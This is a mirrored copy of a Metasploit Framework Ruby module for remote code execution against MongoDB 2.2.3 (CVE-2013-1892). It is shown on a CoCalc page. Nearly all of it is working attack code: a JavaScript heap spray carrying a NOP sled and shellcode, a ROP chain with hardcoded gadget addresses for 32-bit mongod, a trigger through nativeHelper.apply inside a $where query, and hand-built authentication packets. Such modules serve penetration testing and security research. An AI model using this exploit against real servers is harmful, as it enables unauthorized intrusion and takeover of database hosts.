CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/mongod_native_helper.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info={})
12
super(update_info(info,
13
'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',
14
'Description' => %q{
15
This module exploits the nativeHelper feature from spiderMonkey which allows
16
remote code execution by calling it with specially crafted arguments. This module
17
has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
18
},
19
'Author' =>
20
[
21
'agix' # @agixid # Vulnerability discovery and Metasploit module
22
],
23
'References' =>
24
[
25
[ 'CVE', '2013-1892' ],
26
[ 'OSVDB', '91632' ],
27
[ 'BID', '58695' ],
28
[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
29
],
30
'Platform' => 'linux',
31
'Targets' =>
32
[
33
[ 'Linux - mongod 2.2.3 - 32bits',
34
{
35
'Arch' => ARCH_X86,
36
'mmap' => [
37
0x0816f768, # mmap64@plt # from mongod
38
0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
39
0x31337000,
40
0x00002000,
41
0x00000007,
42
0x00000031,
43
0xffffffff,
44
0x00000000,
45
0x00000000,
46
0x0816e4c8, # memcpy@plt # from mongod
47
0x31337000,
48
0x31337000,
49
0x0c0b0000,
50
0x00002000
51
],
52
'ret' => 0x08055a70, # ret # from mongod
53
'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
54
# These gadgets need to be composed with bytes < 0x80
55
'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
56
'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
57
'gadget4' => 0x08055a6c, # pop eax / ret
58
'gadget5' => 0x08457158 # xchg esp,eax
59
}
60
]
61
],
62
'DefaultTarget' => 0,
63
'DisclosureDate' => '2013-03-24',
64
'License' => MSF_LICENSE
65
))
66
67
register_options(
68
[
69
Opt::RPORT(27017),
70
OptString.new('DB', [ true, "Database to use", "admin"]),
71
OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
72
OptString.new('USERNAME', [ true, "Login to use", ""]),
73
OptString.new('PASSWORD', [ true, "Password to use", ""])
74
])
75
end
76
77
def exploit
78
begin
79
connect
80
if require_auth?
81
print_status("Mongo server #{datastore['RHOST']} use authentication...")
82
if !datastore['USERNAME'] || !datastore['PASSWORD']
83
disconnect
84
fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided")
85
end
86
if do_login==0
87
disconnect
88
fail_with(Failure::NoAccess, "Authentication failed")
89
end
90
else
91
print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
92
end
93
94
if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
95
collection = datastore['COLLECTION']
96
else
97
collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
98
if read_only?(collection)
99
disconnect
100
fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
101
else
102
print_good("New document created in collection #{collection}")
103
end
104
end
105
106
print_status("Let's exploit, heap spray could take some time...")
107
my_target = target
108
shellcode = Rex::Text.to_unescape(payload.encoded)
109
mmap = my_target['mmap'].pack("V*")
110
ret = [my_target['ret']].pack("V*")
111
gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
112
gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
113
gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
114
gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
115
gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))
116
117
shellcode_var="a"+Rex::Text.rand_text_hex(4)
118
sizechunk_var="b"+Rex::Text.rand_text_hex(4)
119
chunk_var="c"+Rex::Text.rand_text_hex(4)
120
i_var="d"+Rex::Text.rand_text_hex(4)
121
array_var="e"+Rex::Text.rand_text_hex(4)
122
123
ropchain_var="f"+Rex::Text.rand_text_hex(4)
124
chunk2_var="g"+Rex::Text.rand_text_hex(4)
125
array2_var="h"+Rex::Text.rand_text_hex(4)
126
127
# nopsled + shellcode heapspray
128
payload_js = shellcode_var+'=unescape("'+shellcode+'");'
129
payload_js << sizechunk_var+'=0x1000;'
130
payload_js << chunk_var+'="";'
131
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
132
payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
133
payload_js << array_var+'=new Array();'
134
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '
135
136
# retchain + ropchain heapspray
137
payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
138
payload_js << chunk2_var+'="";'
139
payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
140
payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
141
payload_js << array2_var+'=new Array();'
142
payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '
143
144
# Trigger and first ropchain
145
payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '
146
payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'
147
148
request_id = Rex::Text.rand_text(4)
149
150
packet = request_id #requestID
151
packet << "\xff\xff\xff\xff" #responseTo
152
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
153
packet << "\x00\x00\x00\x00" #flags
154
packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
155
packet << "\x00\x00\x00\x00" #numberToSkip (0)
156
packet << "\x01\x00\x00\x00" #numberToReturn (1)
157
158
where = "\x02\x24\x77\x68\x65\x72\x65\x00"
159
where << [payload_js.length+4].pack("L")
160
where << payload_js+"\x00"
161
162
where.insert(0, [where.length + 4].pack("L"))
163
164
packet += where
165
packet.insert(0, [packet.length + 4].pack("L"))
166
167
sock.put(packet)
168
169
disconnect
170
rescue ::Exception => e
171
fail_with(Failure::Unreachable, "Unable to connect")
172
end
173
end
174
175
def require_auth?
176
request_id = Rex::Text.rand_text(4)
177
packet = "\x3f\x00\x00\x00" #messageLength (63)
178
packet << request_id #requestID
179
packet << "\xff\xff\xff\xff" #responseTo
180
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
181
packet << "\x00\x00\x00\x00" #flags
182
packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
183
packet << "\x00\x00\x00\x00" #numberToSkip (0)
184
packet << "\x01\x00\x00\x00" #numberToReturn (1)
185
#query ({"listDatabases"=>1})
186
packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
187
188
sock.put(packet)
189
response = sock.get_once
190
191
have_auth_error?(response)
192
end
193
194
def read_only?(collection)
195
request_id = Rex::Text.rand_text(4)
196
_id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
197
key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
198
value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
199
200
insert = _id+key+[value.length].pack("L")+value+"\x00"
201
202
packet = [insert.length+24+datastore['DB'].length+6].pack("L") #messageLength
203
packet << request_id #requestID
204
packet << "\xff\xff\xff\xff" #responseTo
205
packet << "\xd2\x07\x00\x00" #opCode (2002 Insert Document)
206
packet << "\x00\x00\x00\x00" #flags
207
packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
208
packet << [insert.length+4].pack("L")
209
packet << insert
210
211
sock.put(packet)
212
213
request_id = Rex::Text.rand_text(4)
214
215
packet = [datastore['DB'].length + 61].pack("L") #messageLength (66)
216
packet << request_id #requestID
217
packet << "\xff\xff\xff\xff" #responseTo
218
packet << "\xd4\x07\x00\x00" #opCode (2004 Query)
219
packet << "\x00\x00\x00\x00" #flags
220
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
221
packet << "\x00\x00\x00\x00" #numberToSkip (0)
222
packet << "\xff\xff\xff\xff" #numberToReturn (1)
223
packet << "\x1b\x00\x00\x00"
224
packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
225
226
sock.put(packet)
227
228
response = sock.get_once
229
have_auth_error?(response)
230
end
231
232
def do_login
233
print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
234
nonce = get_nonce
235
status = auth(nonce)
236
return status
237
end
238
239
def auth(nonce)
240
request_id = Rex::Text.rand_text(4)
241
packet = request_id #requestID
242
packet << "\xff\xff\xff\xff" #responseTo
243
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
244
packet << "\x00\x00\x00\x00" #flags
245
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
246
packet << "\x00\x00\x00\x00" #numberToSkip (0)
247
packet << "\xff\xff\xff\xff" #numberToReturn (1)
248
249
#{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
250
document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
251
document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
252
document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
253
document << datastore['USERNAME'] + "\x00"
254
document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
255
document << nonce + "\x00"
256
document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
257
document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
258
document << "\x00"
259
#Calculate document length
260
document.insert(0, [document.length + 4].pack("L"))
261
262
packet += document
263
264
#Calculate messageLength
265
packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength
266
sock.put(packet)
267
response = sock.get_once
268
if have_auth_error?(response)
269
print_error("Bad login or DB")
270
return 0
271
else
272
print_good("Successful login on DB #{datastore['db']}")
273
return 1
274
end
275
276
277
end
278
279
def get_nonce
280
request_id = Rex::Text.rand_text(4)
281
packet = [datastore['DB'].length + 57].pack("L") #messageLength (57+DB.length)
282
packet << request_id #requestID
283
packet << "\xff\xff\xff\xff" #responseTo
284
packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY)
285
packet << "\x00\x00\x00\x00" #flags
286
packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
287
packet << "\x00\x00\x00\x00" #numberToSkip (0)
288
packet << "\x01\x00\x00\x00" #numberToReturn (1)
289
#query {"getnonce"=>1.0}
290
packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
291
292
sock.put(packet)
293
response = sock.get_once
294
documents = response[36..1024]
295
#{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
296
nonce = documents[15..30]
297
end
298
299
def have_auth_error?(response)
300
#Response header 36 bytes long
301
documents = response[36..1024]
302
#{"errmsg"=>"auth fails", "ok"=>0.0}
303
#{"errmsg"=>"need to login", "ok"=>0.0}
304
if documents.include?('errmsg') || documents.include?('unauthorized')
305
return true
306
else
307
return false
308
end
309
end
310
end
311
312